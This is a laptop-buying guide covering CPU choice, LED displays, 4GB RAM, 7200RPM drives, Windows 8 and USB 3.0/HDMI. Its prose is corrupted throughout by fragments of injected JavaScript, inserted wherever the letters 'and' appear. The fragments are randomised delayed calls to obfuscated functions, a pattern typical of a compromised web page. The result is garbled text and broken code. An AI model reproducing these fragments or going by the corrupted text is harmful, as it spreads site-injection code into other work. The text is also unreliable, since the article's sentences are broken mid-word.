With so many different brandom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}ands, specifications andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and price brackets on the market, deciding which laptop to buy can be tricky.

By the time you’ve finished reading this article however, you’ll be able to compare andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and evaluate different laptop models, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and tell whether a particular offer is good or not.

When evaluating an offer, the 6 primary features to be looking for are:

1) A fast CPU, preferably Intel Core-i3 or better

Possibly the most important piece of hardware on a laptop, the CPU (Central Processing Unit) sits at the heart of all tasks performed by the machine.

The power of the CPU directly influences the speed at which these tasks are completed.

Keep in mind that a laptop CPU is generally not upgradeable.

Always make sure to find out exactly what the CPU model number is andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and double check the specifications online so you know exactly what you’re buying.

A great reference to use for checking the ranking of a laptop CPU is www.notebookcheck.net.

2) An LED HD-Ready or better display

LED displays are preferable to LCD as they have a longer lifespan andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and you’ll have better colour contrast ratios.

Although movies can play on a lower resolution you won’t get the full crisp picture as you would on a higher resolution. Text can also appear more pixelated.

Full HD displays do come at a higher price premium though.

3) 4GB of DDR3 RAM or more

RAM (Random() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom Access Memory) is another component that will affect the performance of any laptop.

You’ll want to aim for at least 4GB, as you may experience slowdowns with less in the current software environment.

Even if you buy a laptop that only comes with 2GB of RAM, you should be able to easily add another 4GB of memory for roughly R 350.

Ask the store you’re buying from if they can pre-install it for you.

4) A fast storage drive, preferably a 7200RPM hard drive

Budget laptops usually include slower 5400RPM 500 or 750GB standom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andard mechanical hard drives.

If you can find a model with a 7200RPM hard drive, this is preferable as the performance difference is notable.

Even if your laptop only came with a 320GB 5400RPM hard drive, you can upgrade to a 1TB 7200RPM drive, or even an SSD (Solid State Drive) – another type of storage option quickly becoming popular.

These devices are based on similar technology as RAM, with one distinction; they can store data even when the machine is off.

5) Windows 8

Windows 8 is the new standom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andard, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and should probably be your first choice as it’s faster than previous versions.

Many first-time users of Windows 8 feel the interface is too different from what they’re used to.

However, if you spend some time in Windows 8 learning the shortcuts andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and how to navigate the new interface, you should be used to it in a few days.

6) USB 3.0 ports andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and HDMI

These are the new standom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andards, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and a must-have if you’re buying a new laptop. USB 3.0 is faster, andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout(\$Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout(\$mRi(0), delay);}and HDMI is required if you ever want to connect your laptop to an HD monitor or display.